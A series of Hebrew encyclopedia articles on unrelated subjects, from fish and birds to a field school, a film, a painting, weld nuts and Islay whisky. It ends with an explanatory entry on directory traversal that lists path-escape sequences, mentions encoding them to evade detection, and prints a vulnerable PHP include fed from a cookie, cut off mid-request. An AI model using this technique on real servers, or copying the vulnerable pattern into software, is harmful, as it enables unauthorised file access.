הם עצמם משמשים מזון לדגים גדולים כמו קולייסיים, מפרשניים וכרישים. הם אינם דגי מאכל חשובים, אך עדיין נידוגים באזורים מסוימים או למטרות ספורט.

סוגים
-----

* סוג ומין יחיד *Arrhamphus sclerolepis*
* סוג ומין יחיד *Chriodorus atherinoides*
* דַּקְמַקּוֹר (*Euleptorhamphus*) - בו 2 מינים
* חַד-לֶסֶת (*Hemiramphus*) - בו 12 מינים
* מַקּוֹרָן (*Hyporhamphus*) - בו 37 מינים
* סוג ומין יחיד *Melapedalion breve*
* סוג ומין יחיד *Oxyporhamphus micropterus* - ייתכן ששייך למשפחת הדאוניים
* *Rhynchorhamphus* - בו 4 מינים

חלק מהסוגים שהשתייכו בעבר למשפחה עברו למשפחה Zenarchopteridae, החיים רק במי האזור האינדו-פסיפי.

קישורים חיצוניים
----------------

ויקישיתוף מדיה וקבצים בנושא **חד-לסתיים** בוויקישיתוף
* חד-לסתיים, באתר אנציקלופדיה בריטניקה (באנגלית)

|  |  |
| --- | --- |
| מזהים טקסונומיים עריכת הנתון בוויקינתונים | 
* EOL
* ITIS
* NCBI
* GBIF
 |
**בית ספר שדה הר מירון** הוא בית ספר שדה הנמצא במרום הגליל בשמורת הטבע הר מירון בגובה 900 מטר מעל פני הים – כ-300 מטר מתחת לפסגת הר מירון (1,204 מטר מעל פני הים) בין נחל נריה ונחל מורן (יובלי נחל כזיב).

מיקום
-----

בית הספר נמצא בסמוך לעתיקות הכפר נריה ומעיינות המים הסמוכים לו ממערב, וחרבת חוממה ממזרח. שם בית הספר, מבחינה מוניציפלית, הוא "נריה" וכך הוא אף מופיע בחלק מהמפות. 

מיקומו בלב שמורת הטבע הר מירון מהווה מוקד (בדומה לחרשים ואבירים) לחיכוכים עם תושבי חורפיש ובית ג'ן אשר טוענים שהשמורה מצרה עליהם ושהתפתחותם המוניציפלית נאסרת בעוד "בית מלון" מקבל אישור לפעולה. מאז העברת בית הספר לתפעול על ידי סאסא והפסקת יעודו המקורי - קולות אלו מתחזקים.

בית הספר נחשב לפופולרי עקב קרבתו לאתרי הטיולים בגליל: צפת, פקיעין, מערות כמו: מערת עלמה, מערת פער, נחלים: כמו נחל כזיב, נחל עמוד, נחל שרך, נחל בצת בהגליל המערבי ויישובים דרוזים כמו בית ג'ן וחורפיש. כמו כן, בית הספר קרוב למספר קברי צדיקים ואתרים מקודשים ליהודים. אחד מהקברים הגדולים והחשובים באזור הוא קבר רבי שמעון בר יוחאי וכן בתי כנסת עתיקים כגון ברעם, שמע, מירון.

היסטוריה
--------

הקמתו של בית ספר שדה הר מירון היוותה חלק ממאבקיה של החברה להגנת הטבע למניעת הקמת יישוב בלב הר מירון. יואב שגיא, ממקימי החברה להגנת הטבע, התיישב בשנת 1964 למרגלות ההר באוטובוס ללא גלגלים ונאבק למען הפיכת ההר לשמורת טבע - לימים שמורת טבע הר מירון. לאחר כשנה, הצטרפו אליו מספר חיילי נח"ל. באפריל 1965 הושג תקציב חלקי ממשרד החינוך להקמת בית הספר שדה במקום. בראשית 1967 נחנך מבנה בית הספר. בשנת 1970 הושלם מבנה בית הספר, שתוכנן על ידי האדריכל קלמן כ"ץ. 

בעת הקמתו של בית הספר שדה, על ידי יואב שגיא, יועד המקום כמרכז מחקר ולימוד אשר יעשה שימוש במיקומו לצרכים אלו. במרוצת השנים, לאחר קיום שינויים מבניים בחברה לאור שינויים בשוק הדרכת טיולי בתי הספר, שינה בית הספר את אופיו ובשנת 2002, לאחר שהופשט כליל מפעילותו החינוכית, נמסר המקום לקבלן משנה (קיבוץ סאסא) לצורך הפעלתו כאכסניה.

החל מפברואר 2017 בית ספר שדה הר מירון סגור למבקרים ללא מועד פתיחה מחדש.

קישורים חיצוניים
----------------

* אתר בית הספר, החברה להגנת הטבע
* זיו ריינשטיין, בי"ס שדה הר מירון: כל צפון הארץ בכף ידכם, באתר ynet, 1 בנובמבר 2013
* בית ספר שדה הר מירון, דף שער בספרייה הלאומית

הערות שוליים
------------

1. ↑  ישעיהו עשני, לימודי טבע בהר מירון, דבר, 1 באפריל 1968
2. ↑  נח"ל לשמירת הר מירון, מעריב, 31 במרץ 1964
3. ↑  שפי גבאי, ההר שהוכרז כשמורת טבע, דבר, 21 בינואר 1966
4. ↑  מנחם רהט, בית ספר שדה להגנת הטבע יוקם על הר מירון, מעריב, 14 באפריל 1965
5. ↑  נחנכו בנייני הנקודה הגבוהה ביותר בארץ, דבר, 15 בפברואר 1967
6. ↑  מנחם רהט, המשוגעים לטבע התיישבו קבע על הר מירון, מעריב, 2 במרץ 1967

|  בתי ספר שדה בישראל |
| --- |
| בתי ספר שדה של החברה להגנת הטבע | בית ספר שדה חרמון • בית ספר שדה גולן • בית ספר שדה הר מירון • בית ספר שדה אלון התבור • בית ספר שדה אכזיב • בית ספר שדה עפרה (יחידת הדרכה בלבד) • שקמים (יחידת הדרכה בלבד) • בית ספר שדה חצבה • בית ספר שדה הר הנגב • בית ספר שדה עין גדי • בית ספר שדה אילת |
| בתי ספר שדה אחרים | בית ספר שדה כרמל • בית ספר שדה כפר עציון • בית ספר שדה שדה בוקר • בית ספר שדה הר גילה |

  


|  |  |
| --- | --- |
| בקרת זהויות עריכת הנתון בוויקינתונים | 
* NLI: 987007303322805171
* LCCN: n80025044
* WorldCat (עם LCCN): n80-025044

 |
**בת'וול אוגוט** (באנגלית: **Bethwell Allan Ogot**; נולד ב-3 באוגוסט 1929 בקניה) הוא היסטוריון קנייתי שמתמחה בהיסטוריה של אפריקה.

ביוגרפיה
--------

בת'וול אוגוט נולד בכפר במחוז ניאנזה. לאחר סיום בית הספר הוא למד באוניברסיטה בקמפלה והמשיך לאוניברסיטת סנט אנדרוז ואוניברסיטת לונדון. בהיותו בלונדון הוא היה ראש אגודת הסטודנטים יוצאי קניה והיה מעורב בשיחות שהתנהלו באותה תקופה בהקשר לעצמאות קניה.

לאחר סיום הלימודים אוגוט חזר לקניה והחל ללמד באוניברסיטת ניירובי. הוא הקים בית ספר ללימודי אפריקה באוניברסיטה, היה דקאן של בית הספר לאמנויות למדעי החברה של האוניברסיטה. אוגוט היה נשיא וועדה מדעית בינלאומית שהיכנה General History of Africa בחסות אונסקו. אוגוט אישית היה עורך של הכרך מס' 5 של הספר.

בשנים 1975–1977 אוגוט היה נציג קניה בוועידת חוקה של הקהילייה המזרח-אפריקנית. בשנים 1977–1983 הוא היה נשיא של ארגון ארכאולוגיה האפריקני. תקופה מסוימת אוגוט היה יושב ראש הדואר של קניה.

במקביל לפעילות הציבורית, בת'וול אוגוט המשיך לעבודה באוניברסיטה ומונה לפרופסור.

על פעילותו הרבה לאוגוט הוענקו מספר עיטורים לרבות מדליית זהב של אונסקו.

חיים אישיים
-----------

החל משנת 1959 אוגוט היה נשוי לגרייס אוגוט. לזוג נולד ארבעה ילדים.

קישורים חיצוניים
----------------

* קורות חיים ורשימת פרסומים
* קורות חיים

|  |  |
| --- | --- |
| בקרת זהויות עריכת הנתון בוויקינתונים | 
* NLI: 987007463573605171
* BIBSYS: 90140751
* BnF: cb12033850j (data)
* CiNii: DA05331730
* GND: 120348411
* ISNI: 0000 0001 1037 6755
* LCCN: n50025059
* LNB: 000025512
* NKC: jn20000604250
* NTA: 069169829
* SUDOC: 028518470
* VcBA: 495/265310
* VIAF: 9863036
* WorldCat: lccn-n50025059

 |
איור של החד-מקור.
**חד-מקור** (שם מדעי: ***Oxyruncus cristatus***) הוא מין של ציפור שיר יחידה בסוגה ובמשפחתה (Oxyruncidae), אם כי יש חוקרים המשייכים אותה למשחת הטיטירדיים. ציפור זו חיה באזורי היערות ההרריים של אמריקה הדרומית ודרום אמריקה המרכזית בפנמה וקוסטה ריקה.

אורכו 17 ס"מ והוא בעל נוצות ירוקות ומוסוות ביותר בצמחייה הטרופית. לזכרים ישנו ראש עם כתם אדום למעלה ובעלי מקור אפור מחודד וקטן. הבטן צהובה ומעט מנומרת והזנב קטן מאוד. עוף זה ניזון מפירות ומחרקים שונים ביער, בשבילם הם מתהפכים על הענפים ומחפשים בין הזלזלים.

הוא מצוי בעיקר בחופות היער אך לפעמים יורד גם לקרקע והוא מקנן בחורי עצים. לעיתים הוא מצטרף לאכילה עם להקות עופות המחפשים חרקים.

**תת-מינים**:

* *Oxyruncus cristatus frater*
* *Oxyruncus cristatus brooksi*
* *Oxyruncus cristatus phelpsi*
* *Oxyruncus cristatus hypoglaucus*
* *Oxyruncus cristatus tocantinsi*
* *Oxyruncus cristatus cristatus*

קישורים חיצוניים
----------------

ויקישיתוף מדיה וקבצים בנושא **חד-מקור** בוויקישיתוף

|  |  |
| --- | --- |
| מזהים טקסונומיים עריכת הנתון בוויקינתונים | 
* IUCN
* ITIS
* NCBI
* GBIF
 |

* חד-מקור, באתר אנציקלופדיה בריטניקה (באנגלית)

הערות שוליים
------------

1. ↑  חד-מקור באתר הרשימה האדומה של IUCN
**סבון** היא רשת שיווק ישראלית למוצרי סבון שונים, המייצרת ומשווקת את תוצרתה העצמית.

היסטוריה ומבנה
--------------

הרשת הוקמה בשם "סבון של פעם" על ידי אבי פיאטוק וסיגל קוטלר לוי, ב-1997, עם סניף ראשון ברחוב שינקין בתל אביב. ב-2003 הפכה החברה לבין-לאומית. לרשת 175 חנויות ב-14 מדינות ברחבי העולם, הנחלקות לכ-40 סניפים בישראל, מספר דומה של סניפים ביפן, 17 בארצות הברית וכ-13 בצרפת.

החברה מעסיקה 480 עובדים, כאשר מטה החברה ממוקם באזור. מפעל הייצור והמרכז הלוגיסטי של סבון נמצאים בקריית גת.

ב-2016 רכשה ענקית הקוסמטיקה הצרפתית איב רושה (אנ') את השליטה בסבון תמורת כ-80 מיליון אירו, כשהיתרה אמורה להתבצע בעוד מספר שנים לפי שווי עסקה של 120 מיליון אירו (משמע - רכישת 66% כעת ו-33% נותרים לאחר מכן, תמורת 40 מיליון אירו).

קישורים חיצוניים
----------------

* מיקי גינסברג‏, הלהיט החדש שמטריף את מנהטן, באתר וואלה!‏, 26 באוגוסט 2015
* טלי ציפורי, ‏השליטה ב"סבון" נמכרת לחברת הקוסמטיקה הצרפתית איב רושה, באתר גלובס, 19 בדצמבר 2016
* אורנה יפת, "סבון לא צריכה 100 חנויות בארץ כמו ללין", באתר כלכליסט, 8 באפריל 2018
* אורנה יפת, "אסיה היא העתיד של המותג סבון", באתר כלכליסט, 2 בספטמבר 2018

הערות שוליים
------------

1. ↑  גולן חזני, אקזיט עם ריח טוב: רשת החנויות "סבון" נמכרת ב-100 מיליון יורו, באתר כלכליסט, 19 בדצמבר 2016
סבון גילוח מודרני - הנמכר בשפופרת פלסטית.
פרסומת לסבון גילוח, 1851
**סבון גילוח** הוא סבון קשה אשר מוקצף לקצף גילוח באמצעות מברשת גילוח ומים. קצף זה משמש לריכוך השיער במטרה לגלחו בקלות באמצעות סכין הגילוח וכך למנוע כאב בעת גילוח ולהקטין את סיכויי הפציעה מסכין הגילוח.

בסבון גילוח נעשה שימוש עד היום.

היסטוריה
--------

על פי עדויות ארכאולוגיות, השימוש הראשון בסבון למטרת גילוח נעשה בשומר באלף השלישי לפנה"ס, כאשר עץ בסיסי שולב עם שומן בעלי חיים במטרה להקל על הגילוח.

השימוש בסבון גילוח מודרני החל באמצע המאה ה-19. פטנט לכלי להקצפת סבון הגילוח נרשם בארצות הברית בשנת 1867.

סבון גילוח נמכר כשצורתו עגולה - על מנת לאפשר את כתישתו והקצפתו בכלי להקצפה. במהלך המאה ה-19 נמכרו הסבונים לצד כלי הקצפה העשויים עץ או חרסינה.

בשנות ה-40 של המאה ה-20 החלה מכירת סבון גילוח רך בשפופרת.

ייצור
-----

סבון הגילוח מיוצר בדומה לסבון רחצה. הסבון מכיל חומר סיבוני כגון סודה קאוסטית (נתרן הידרוקסידי) או אשלגן הידרוקסידי וחומצת שומן (לעיתים נעשה שימוש בשמן קוקוס, שמן דקלים או שמן זית).

קישורים חיצוניים
----------------

| מיזמי קרן ויקימדיה |
| --- |
| ויקישיתוף תמונות ומדיה בוויקישיתוף: **סבון גילוח** |

הערות שוליים
------------

1. ↑  ההיסטוריה של הגילוח
2. ↑  פטנט מספר 66788, ארצות הברית, יולי 1867.
**ג'ראר אוסקם** (באנגלית: **Gerard Cornelis Adrianus Oskam**;‏ 12 באפריל 1880 – 7 במאי 1952) היה שחמטאי ממוצא הולנדי.

קריירה
------

אוסקם ניצח בתחרות גרוניגן בשנת 1900, הגיע למקום השני בתחרות לויורדן בשנת 1904, חלק מקום 2-3 בתחרות אמסטרדם 1905, הגיע למקום ה-12 בתחרות שבינגן בשנת 1905, הגיע למקום הרביעי בתחרות אמסטרדם 1907, הגיע שני בתחרות האג 1907, הגיע שלישי בתחרות אוטרכט 1907 והגיע למקום הרביעי בתחרות הרלם 1908 (ניצח: יאן אסר). 

במהלך מלחמת העולם הראשונה, חלק אוסקם מקום 3-5 בתחרות רוטרדם 1915, חלק מקום שני בתחרות שבינגן בשנת 1915, חלק מקום 7-8 בתחרות אמסטרדם 1916, חלק פעמיים את המקום הראשון - בתחרויות האג ושבינגן בשנת 1917, ניצח בתחרות רוטרדם 1918, חלק מקום 5-6 בתחרויות ארנהיים ושבינגן בשנת 1918, וחלק מקום ראשון עם יאן טה קולסטה בתחרות הרטוגנבוש בשנת 1918.

לאחר מלחמת העולם הראשונה חלק אוסקם מקום 9-10 בתחרות הסטינגס בשנת 1919 (ניצח: חוסה ראול קפבלנקה), הגיע למקום החמישי בתחרות האג 1919 (ניצח: מקס מרשנד), הגיע למקום החמישי בתחרות ברומלי 1920, הגיע למקום הרביעי בתחרות אדינבורו 1920, למקום הרביעי בתחרות אוטרכט 1920, חלק מקום 1-4 בתחרות בוסום 1921, חלק מקום 3-4 בתחרות האג 1922, הגיע למקום הרביעי בתחרות מרגייט 1923, חלק מקום 4-5 בתחרות שבינגן 1923 וחלק מקום ראשון בתחרות גרוניגן 1925.

אוסקם ייצג את הולנד באולימפיאדת השחמט 1924, אולימפיאדת השחמט הלא רשמית הראשונה שהתקיימה במקביל לאולימפיאדת פריז. במוקדמות צבר 2.5 נקודות ובשלב הגמר צבר 3.5 נקודות .

קישורים חיצוניים
----------------

ויקישיתוף מדיה וקבצים בנושא **ג'ראר אוסקם** בוויקישיתוף

* ג'ראר אוסקם, באתר צ'סגיימס (באנגלית)
* מידע כללי

|  |  |
| --- | --- |
| בקרת זהויות עריכת הנתון בוויקינתונים | 
* BIBSYS: 90566280
* BnF: cb167494698 (data)
* GND: 174016123
* ISNI: 0000 0001 4051 9737
* NTA: 071922334
* SNAC: w6z34g0v
* VIAF: 194210202
* WorldCat: viaf-194210202

 |
**עולמו של ויין** (באנגלית: **Wayne's World**) הוא סרט אמריקאי משנת 1992 בבימויה של פנלופה ספיריס, בכיכובם של מייק מאיירס ודיינה קארווי. הסרט הוא הראשון מבין צמד סרטי קומדיה אשר הפכו לסרטי פולחן בתחילת שנות ה-90.

עלילה
-----

ויין קמפבל (מייק מאיירס) וגארת' אלגאר (דיינה קארווי) הם שני חברים טובים אשר אוהבים לבלות את זמנם הפנוי בהוקי-רחוב, בנגינה בגיטרה, בישיבה בחנות הדונאטס המקומית, ובניסיונות לחמוק מחברתו לשעבר של ויין. השניים כותבים ומנחים תוכנית טלוויזיה לצעירים בערוץ הכבלים המקומי - **עולמו של ויין**.

בנג'מין קיין (רוב לאו) הוא מפיק טלוויזיה ואיש עסקים שמעוניין לקנות את התוכנית ומצליח לפתות את ויין וגארת'. התוכנית, בהפקה החדשה, משנה את פניה על מנת להפוך אותה לקורצת יותר למפרסמים פוטנציאלים, אך הצמד המטורף אינו מתיישר עם הציפיות. במהלך הסרט, מתאהב ויין בקסנדרה (טיה קררה), ובנג'מין מנסה לפגוע גם במערכת היחסים ביניהם.

לסרט שלוש סיומות שונות אשר ויין מתנגד לשתי הראשונות ומשנה אותן בעזרת "סיום הסקובי-דו". בסיום הראשון והשני של הסרט, הסוף הוא "עצוב", ויין מפסיד, ובנג'מין זוכה בכל. בסיום השלישי, הסוף הוא "מגה-שמח", שבו, בנוסף לכל הדברים המשמחים שניתן לתאר, מתגלה גם שבנג'מין הוא בעצם זקן מרושע בתחפושת.

על הסרט
-------

מקורן של חלק מדמויות הסרט בסדרת הטלוויזיה סאטרדיי נייט לייב, לאחר שיצא הסרט לאקרנים הוא זכה לאהדה רבה על תיאוריו את הדור הצעיר של סוף שנות ה-80 ותחילת שנות ה-90. אחת הסצנות המפורסמות כוללת את חבורתו של ויין שרה את "רפסודיה בוהמית" של להקת קווין, ומיטיבה לתאר את רוח השטות שבסרט.

מעט יותר משנה לאחר הקרנת הבכורה של "עולמו של ויין" יצא לבתי הקולנוע סרט ההמשך, "עולמו של ויין 2".

קישורים חיצוניים
----------------

ויקישיתוף מדיה וקבצים בנושא **עולמו של ויין** בוויקישיתוף

* "עולמו של ויין", במסד הנתונים הקולנועיים IMDb (באנגלית)
* "עולמו של ויין", באתר נטפליקס
* "עולמו של ויין", באתר AllMovie (באנגלית)
* "עולמו של ויין", באתר Rotten Tomatoes (באנגלית)
* "עולמו של ויין", באתר Box Office Mojo (באנגלית)
* "עולמו של ויין", באתר Metacritic (באנגלית)
* "עולמו של ויין", באתר אידיבי
* "עולמו של ויין", במסד הנתונים הקולנועיים KinoPoisk (ברוסית)
* אבנר שביט‏, "עולמו של וויין": המילון השלם של הסרט לרגל 20 שנה לצאתו, באתר וואלה!‏, 10 בפברואר 2012
* מתן שרון, אקסלנט: 20 שנה אחרי, "עולמו של וויין" עדיין עובד, באתר nrg‏, 13 בפברואר 2012
**הגבירה משאלוט** (באנגלית: **The Lady of Shalott**) הוא ציור בצבעי שמן של הצייר האנגלי ג'ון ויליאם ווטרהאוס, שנוצר בשנת 1888. בציור מתוארת הפואמה של אלפרד טניסון בעלת השם הזהה לציור משנת 1832. ווטרהאוס צייר שלוש גרסאות של היצירה, האחרות נוצרו בשנים 1894 ו-1915. הגבירה משאלוט היא יצירתו המפורסמת ביותר של ווטרהאוס, והיא ניחנת בסגנון האחווה הפרה-רפאליטית על אף שהיא התפרקה עשורים קודם לכן. בשנת 1894, היצירה נתרמה לציבור על ידי סר הנרי טייט (אנ'), והיא מוצגת לרוב במוזיאון טייט שבלונדון.

אודות היצירה
------------

היצירה מבוססת על פואמה של אלפרד טניסון. בסיפור ישנה נערה הבורחת מטירה כדי לחפש את אהובה. הדמות של הנערה מבוססת על איילין מאסקלוט (אנ') שחיזרה אחרי סר לנסלוט דו לאק לאחר שהוטלה עליה קללה שאילצה אותה להישאר בטירה קמלוט של המלך ארתור. ווטרהאוס צייר שלוש גרסאות לפואמה, ויצירה זו היא הראשונה מביניהן.

הציור מתאר את סיפורו של אלפרד טניסון "הגבירה משאלוט". על הגבירה מסיפור הוטלה קללה שאוסרת עליה לצאת מביתה או אפילו להסתכל ישירות דרך החלון. הדרך היחידה שלה להביט בעולם היא דרך מראה. הגבירה החלה לסרוג את הנוף שהיא רואה בהשתקפות של החלון במראה. בהזדמנות מסוימת הגבירה מפרה את הקללה ומסתכלת מבעד לחלון. לאחר מכן, היא מחליטה לעזוב את הטירה. בציור ניתן לראות את הגבירה יושבת בסירה ומביטה לאופק.

בקדמת הסירה ישנם צלב ומנורת לילה, ולידם נירות המסמלים את החיים. שני נירות כבויים, ואחד עתיד להיכבות, מה שמסמל את הקרבה למוות. היבט חשוב ביצירה הוא התיאור הריאליסטי שניכר בשמלתה של הגבירה בוהקת בלבן באופן שמודגש על הרקע בגוונים כהים, בתווי פניה העצובים של הגבירה וכדומה.

קישורים חיצוניים
----------------

ויקישיתוף מדיה וקבצים בנושא **הגבירה משאלוט** בוויקישיתוף

הערות שוליים
------------

1. ↑  "The Lady of Shalott 1888", Tate Gallery (באנגלית)
**רינכותריום** (שם מדעי: *Rhynchotherium*) הוא סוג של פילאי קדום ממשפחת הגומפותריומיים, שהתקיים במשך המיוקן והנאוגן שלפני 13.6 עד 3.6 מיליון שנה מזמננו. סוג זה הכיל מין אחד - *Rhynchotherium falconeri*, אשר חי באמריקה הצפונית בין אריזונה למקסיקו. הוא התפתח מהגומפותריום ולעיתים נחשב כמין בסוג זה והיה קרוב גם לקיווירוניוס. הסוג תואר ב-1868 בידי החוקר הסקוטי יו פלקונר (אנ').

הרינכותריום היה פילאי בעל לסתות מוארכות עם ארבעה חטים חזקים ושטוחים משתי הלסתות. שיניים אלה עזרו לו לחפור באדמה מזון או לנבור דרך ענפים ושיחים אחרי עלים לאכילה. נמצאו שרידים רבים שלו יחדיו כך שכנראה הוא חי בעדרים שנדדו בחיפוש מזון.

### מינים לשעבר בסוג

בעבר שויכו לסוג מינים רבים שהתבטלו או הועברו לסוגים אחרים, חלקם נקראו בטעות מסטודון:

* *Mastodon shepardi*
* *Mastodon euhypodon* - הועבר לסוג גומפותריום
* *Tetrabelodon brevidens*
* *Dibelodon praecursor*
* *Rhynchotherium rectidens*
* *Aybelodon hondurensis*
* *Blickotherium blicki*
* *Rhynchotherium anguirivale*

קישורים חיצוניים
----------------

ויקישיתוף מדיה וקבצים בנושא **רינכותריום** בוויקישיתוף

|  |  |
| --- | --- |
| מזהים טקסונומיים עריכת הנתון בוויקינתונים | 
* GBIF
 |
אומי ריתוך מבוססי לוח
**אום ריתוך** הוא אום שניתן לרתך אותו לרכיב אחר באמצעות ריתוך נקודות.

אומי הריתוך מיועדים לאפשר הרכבה של חלקים על מערכות גדולות ממדים. שימוש נפוץ באומים אלה מבוצע בתעשיית הרכב. אומים רבים מרותכים על פלטות המרכב של הרכב כדי חבר אליהן חלקים אחרים בעזרת ברגים. פתרון זה מונע את הצורך לביצוע התבריג ישירות על מרכב הרכב.

סוגים
-----

 DIN 929 אום לרתוך
### אומים עגולי בסיס

לאומים אלה צילינדר הברגה ארוך עם בסיס עגול גדול כדי להקל על הריתוך. יש להם חיזוקים כדי למנוע מהאום להתפתל בזמן הריתוך בזרם גבוה.

### אומי בסיס לוח

אלה דומים מאוד לאומי הבסיס העגולים, אך עם בסיס אחורי בצורת משטח. אומים אלה משמשים בתעלות, בצינורות או בזוגות חלקים.

### אומי בסיס לשונית

באומי בסיס, הלשוניות מיועדות לריתוך נקודתי על גבי חלקים עם בסיס שטוח. יש להם תוספת המאפשרת למקם אותו בקדח המיקום.

### אומים מרובעים ומשושים

אומים אלה דומים מאוד לאומים סטנדרטיים, אך יש להם בוס -שרוול. הבוסים מיועדים למנוע כניסת רסיסי ריתוך להברגה .

### מייצב אומי ריתוך

אומי ריתוך מסייעים, המכונים גם אומי ריתוך גשר, מכילים אום צף בתוך המגן כדי לפצות על דיוק המיקום. המחזיק מרותך לחלק המעובד ומאפשר לאום להיות צפה.

### אומי קצה צינור

אומי קצה הצינור בגודל כך שיתאימו למידה של קוטר קצה צינורות בגודל סטנדרטי, וכך יוצרים צינור הברגה על ידי שימוש בצינור סטנדרטי, מהמלאי הרגיל.

### זוג אומי פיילוט

זוג אומים המורכבים על בסיס מיועדים לשימוש במקומות בהם יש צורך בקדחים עם הברגה אשר קרובים מאד.. 

### אומי ריתוך לשונית יחידה

 אום ריתוך עם כפתור יחיד
אום ריתוך עם תושבת כפתור יחיד לריתוך על חומרים מדויקים וכבדים. 

 אום ריתוך עם 4 תושבות

סוג החומר
---------

הרוב המכריע של אומי הריתוך מיוצרים מפלדה דלת פחמן או פלדת אל-חלד (נירוסטה). כדי לאפשר את הריתוך בטכנולוגיות הקיימות.

פעולות גימור כמו גלוון משמשות לציפוי אומי ריתוך מפלדה דלת פחמן, ומעניקות לפריט עמידות בפני קורוזיה, בעלויות נמוכות מהשימוש האלטרנטיבי באומי נירוסטה.

קישורים חיצוניים
----------------

ויקישיתוף מדיה וקבצים בנושא **אום ריתוך** בוויקישיתוף

הערות שוליים
------------

1. 1 2 3  McMaster-Carr, p. 3151.
2. 1 2 3  McMaster-Carr, p. 3152.
3. ↑  "Twin Piloted Nuts". *www.buckeyefasteners.com* (באנגלית אמריקאית). נבדק ב-2018-10-03.
4. ↑  "Single Tab - Single Projection". *www.buckeyefasteners.com*. נבדק ב-2019-07-17.

### תורגם ממאמר מקורי

Content in this edit is translated from the existing Wikipedia article at en:weld nuts; see its history for attribution.

### בִּיבּלִיוֹגְרָפִיָה

* *McMaster-Carr catalog* (114th ed.), McMaster-Carr.
* *Buckeye Fasteners catalog* (2018 ed.), Buckeye Fasteners Company.
המושג **ויסקי מאיילה** מתייחס לקבוצת סוגי ויסקי המיוצר באי איילה בסקוטלנד. זאת כחלק מהחלוקה המסורתית של הוויסקי הסקוטי לארבע קבוצות גאוגרפיות עיקריות. באי איילה, הקטן ודל האוכלוסייה פועלות תשע מזקקות ויסקי. ריכוז זה של מזקקות ויסקי הביא לפריחת "תיירות ויסקי" לאי. באיילה מתקיים פסטיבל ויסקי שנתי בחודש מאי הכולל טעימות ומופעים של מוזיקה סקוטית מסורתית. הוויסקי מאיילה ידוע בטעמו המעושן והכבולי.

היסטוריה
--------

בשנת 1644 הוטל מס על ויסקי בסקוטלנד והדבר הביא לפריחה בייצור בלתי חוקי של המשקה שהתרכז בהיילנדס ובאיים דוגמת איילה.

עם איחוד הכתרים האנגלי והסקוטי, עברו רבות מהמזקקות בשפלה הסקוטית להרים ולאיים כדי להימנע מתשלום מס לבית המלוכה האנגלי. החל משנת 1823, כשייצור הוויסקי בסקוטלנד הפך לחוקי, מזקקות שהסכימו להיכנע למיסוי הכבד של הכובשים סבלו מהתנכלות השכנים הנזעמים, אבל מזקקות על האיים ההברידיים ובראשן מזקקות איילה הספיקו להתבסס לפני שחוק מיסוי הוויסקי נכנס לתוקף גם באיים עשרות שנים אחרי כן, ובשל טעמם המיוחד היו חשובים לתעשיית הבלנדים.

האי הידוע גם בפולקלור בתור "האי מוכה הסופות" מכיל מרבצים גדולים של כבול, ומלבד שיחי האברש הטיפוסיים לטעם של כבול סקוטי (למשל באזור ספייסייד), הכבול באיילה מכיל גם אצות ומלח ים שנשטפים על אדמתו בסופות החורף. ריח היוד והמלח החזק שבמאלט של מזקקת לפרויג, גרמו לו להיות מוכר כשיקוי רפואי, והוא היה הוויסקי הסקוטי היחיד שיובא חוקית ונמכר בארצות הברית בתקופת היובש.

בעבר פעלו באי מזקקות רבות יותר, אך רבות נסגרו במשך השנים. לאחרונה רואה התעשייה התעוררות, שוקי ויסקי חדשים נפתחים בסין ובהודו ותיירות הוויסקי פורחת באיילה - למרבית המזקקות מרכז מבקרים מפואר. מזקקות ארדבג וברוכלאדי נפתחו מחדש, ומזקקת פורט אלן נמצאת בבנייה מחודשת. בשטחה של פורט אלן הוקם מפעל ההלתתה של תאגיד דיאג'יו המשרת את כל מזקקות האי.

מאפיינים
--------

ויסקי מהאי איילה מפורסם בטעמו המעושן אך מאפיין זה אינו הכרחי בכל המזקקות. בעוד שמעט מאוד מזקקות בסקוטלנד מלתתות שעורה במקום, בלפרויג עדיין מלתתים כ-30% מהשעורה לבד, כדי להגיע לרמות עישון גבוהות יותר (57 חלקים למיליון - ppm) ולתת שעושן בכבול הייחודי ללפרויג, הנותן למשקה את הטעם הייחודי. מזקקות אחרות מסתפקות ב45ppm (ארדבג), 35ppm (לגבולין) או 2ppm בלבד (בונהאבן).

כיום
----

בשנת 2005 הוקמה מזקקת קילכומן החדשה באי, שהחלה לזקק ב-2006. המזקקה הצעירה היא הראשונה שמוקמת באיילה מזה 124 שנה, והוקמה בצורת מזקקת-חווה מסורתית, תוך ניסיון לייצר את כל הלתת מקומית ומהשעורה המקומית. למרות תקלה של שרפה שעיכבה את התהליך, ומעבר לשימוש חלקי בלתת ממפעל ההלתתה המרכזי של דיאג'ו, מייצרים במקום ויסקי מעושן (20ppm). קילכומן בחרה בכוונה במבנה דוד זיקוק שישמר כיאות את העישון שבלתת, ולמרות העלויות הכבדות בחרה בדוד זיקוק קטן מאוד (2070 ליטר בלבד), דוד שכנראה קטן יותר מזה של מזקקת אדרדור שמפרסמת את עצמה עדיין בתור המזקקה הקטנה בסקוטלנד.

מבשלות ידועות
-------------

* ארדבג
* בוומור
* בונהאבן
* ברוכלאדי
* לגבולין
* לפרויג
* קאול אילה
* קילכומן

קישורים חיצוניים
----------------

* גיא גיסר‏, המאלטים של איילה, באתר וואלה!‏, 7 באפריל 2005
* חוה טרטנרו יובל גולדשטיין, שכר אותי סקוטי: ביקור באי איילה שבסקוטלנד, באתר הארץ, 9 באוקטובר 2008
**Directory Traversal** או **Path Traversal** (באנגלית: **Directory Traversal**, "מעבר בין סיפריות") היא התקפה נגד שרת או יישום אינטרנטי שמטרתה גישה לא מורשית אל מערכת הקבצים.

בהתקפה זו, מזהה התוקף אתרי אינטרנט המפנים לעמודים ולקבצים שונים ובודק את אימות הנתונים כאשר מזין קלט שונה.

במידה ומבוצע אימות, היישום אינו פגיע אך במידה ולא מבוצע אימות, הוא מוסיף פרמטרים נוספים (/..) המשנים את מבנה הנתיב וכך הוא יכול לעבור בין סיפריות שונות במערכת הקבצים ואף לחזור אל ספריית השורש ולטעון קבצים שאינו מורשה לצפות בהם.

שימוש
-----

פונקציית **()include** מייבאת את הקובץ הרצוי, במידה והוא קיים מציגה אותו למשתמש.

בעזרת חזרה על מספר תווים הנחשבים למסוכנים, ניתן לגשת אל סיפריות שונות במערכת הקבצים ואף לחזור אל ספריית השורש ולצפות בקבצים חסויים:

* /..
* \..
* ..

ניתן לקודד את התווים ובכך לחמוק מזיהוי של מערכות ההגנה השונות.

בדוגמה שלהלן, פגיעות ביישום הכתוב בשפת PHP:

```
<?php
$template = 'red.php';
if (isset($\_COOKIE['TEMPLATE']))
   $template = $\_COOKIE['TEMPLATE'];
include ("/home/users/phpguru/templates/". $template);
?>

```

שינוי בקשת HTTP, חזרה אל סיפריית השורש ופתיחת קובץ המשתמשים:

```
GET /vulnerable.php HTTP/1.0
